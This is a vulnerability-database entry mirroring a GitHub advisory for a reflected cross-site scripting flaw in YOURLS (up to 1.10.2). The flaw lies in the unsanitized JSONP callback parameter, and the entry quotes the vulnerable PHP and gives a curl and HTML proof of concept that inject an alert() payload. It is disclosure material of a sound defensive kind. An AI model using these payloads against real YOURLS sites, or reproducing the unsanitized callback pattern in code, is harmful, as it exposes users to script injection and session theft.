Read the docs
TI-2025-43874 Aliases GHSA-6mp4-q625-mxjp

YOURLS is vulnerable to XSS through JSONP and Callback request parameters

Priority LOW 38CWE-79Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Cross-site scripting
Confidentiality · integrity · availability
—
Fix status
No fix listed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-79.

Summary

### Summary The callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked. ### Details Vulnerability exists in the JSONP callback handling chain: ``` yourls-api.php:127-128 if( isset( $_REQUEST['callback'] ) ) $return['callback'] = $_REQUEST['callback']; elseif ( isset( $_REQUEST['jsonp'] ) ) $return['callback'] = $_REQUEST['jsonp']; ``` --- ``` includes/functions-api.php:127-128 $callback = isset( $output['callback'] ) ? $output['callback'] : ''; $result = $callback . '(' . json_encode( $output ) . ')'; ``` ### PoC I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance. II. `curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//" ` **Expected response:** `alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})` Browser PoC file: ``` <!DOCTYPE html> <html> <head><title>pwn</title></head> <body> <h1>pwn</h1> <script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script> </body> </html> ``` ### Impact Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.** Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

Why it matters now

Fix No fix listed No fixed version in the sources yet

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—yourls/yourls (Packagist)up to 1.10.2—No fix listedGHSA-6mp4-q625-mxjp
  • yourls/yourls (Packagist) Vendor— Affected up to 1.10.2 Fixed in — No fix listed GHSA-6mp4-q625-mxjp

Remediation

No fixed version listed by the sources yet.

Timeline

  1. 2026-10-03 Threatist record created from GHSA-6mp4-q625-mxjp

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences